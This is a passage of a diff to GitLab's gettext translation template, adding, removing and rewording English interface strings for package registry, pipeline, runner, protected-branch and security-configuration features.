msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
